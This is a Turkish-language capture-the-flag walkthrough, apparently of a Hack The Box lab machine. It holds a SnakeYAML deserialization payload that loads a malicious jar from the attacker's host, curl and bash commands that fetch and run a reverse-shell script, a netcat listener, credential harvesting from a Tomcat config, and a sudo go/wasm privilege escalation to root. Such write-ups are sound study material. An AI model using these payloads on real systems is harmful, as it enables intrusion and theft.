Kullanıcı Alma
sudo nmap -sS -sC -sV 10.10.10.227
Yazının devamında bir github hesabı verilmişti (link). Dosyaları lokalime indirdikten sonra AwesomeScriptEngineFactory.java dosyasını kendime göre düzenledim.
"curl http://10.10.14.238/at.sh -o /tmp/at.sh"
Bu kod ile reverse shell alacağım at.sh dosyasını karşı makinede indirtip /tmp dizini altına yerleştireceğim.
"bash /tmp/at.sh"
Bu kod ile de at.sh dosyasını çalıştırtıp reverse shell alacağım.
Gerekli düzenlemeler sonrası github hesabı üzerinde verilen uygulama adımlarına göre zararlı jar dosyasını elde ettim.
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf at.jar -C src/ .
Herşey hazır olduğuna göre github hesabı üzerinde bulunan yaml kodlarını kullanarak zararlı jar dosyasını karşı tarafa yükleyebilirim.
Öncesinde karşı makinenin benim lokalimde bulunan dosyaları çekebilmesi için bir web sunucusu başlatmam gerekiyor.
sudo python3 -m http.server 80
Ardından reverse shell alacağım at.sh dosyasında belirttiğim 4242 portunu netcat ile dinlemeye başladım.
nc -lvp 4242
Şimdi web sitesi üzerinde, github hesabından aldığım yaml kodlarını çalıştırabilirim.
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.238/at.jar"]
]]
]
ve oturum aldım.
Kullanıcıları ve dizinleri kontrol ettiğimde user.txt dosyasının /home/admin altında olduğunu gördüm. Bu sebeple admin kullanıcısı olmak için makine içeriğine bakınmaya başladım.
/opt/tomcat/conf altında tomcat-users.xml dosyası dikkatimi çekti. İçeriğine bakınca admin kullanıcısı ve parolasını gördüm.
SSH ile admin kullanıcısına bağlanıp user.txt yi okudum.
Root Alma
Admin kullanıcısı ile neler yapabiliyorum diye sudo -l komutunun çıktılarına bakındım.
sudo -l
Komut çıktısına göre go ile /opt/wasm-functions/index.go dosyasını çalıştırabilirim. İlgili dizine gidip dosyayı inceledim.
Bu bilgiler ışığında bu dosyalar manipüle edilirse bize istediğimizi verecektir.
sudo /usr/bin/go run /opt/wasm-functions/index.go
İfadeyi düzenleyebilmek için wasm dosyaları hakkında biraz araştırma yaptım ve web assembly dosyası olduğunu gördüm. Bu dosyaların binary formatta olduğunu ve text halinin .wat uzantılı olduğunu gördüm. Dosyanın .wat halini alıp düzenleyebilmek için biraz araştırma yaptım ve bir araçla karşılaştım. (Link). İstersek indirip çalıştırabiliriz. İstersek de online servis üzerinden devam edebiliriz. Ben online servislerden devam etmek istedim.
Öncelikle dosyamızın .wat halini görelim. Bunun için öncelikle main.wasm dosyasını lokalimize çektik.
Ardından bu link üzerinden dosyamızı .wat formatına çevirdik.
i32.const 0 ifadesi if bloğunu ifade ediyor. Eğer 0 değerini 1 yaparsak deploy.sh dosyasını çalıştırabiliriz.
0 değerini 1 yaptıktan sonra kodun tamamını kopyalayıp bu linkteki boşluğa yapıştırıp .wat dosyasını .wasm dosyasına çevirip indiriyoruz.
Elde ettiğimiz yeni main.wasm dosyasını makineye yüklüyoruz.
scp main.wasm [email protected]:/tmp/.at
Ardından deploy.sh dosyamızı oluşturalım. Bu kısımda ssh keyini de elde edip root kullanıcısı ile oturum alabilirdim ama işi uzatmamak adına direkt olarak /root/root.txt dosyasını okumayı denedim.
ve işim bitti.
Okuduğunuz için Teşekkürler…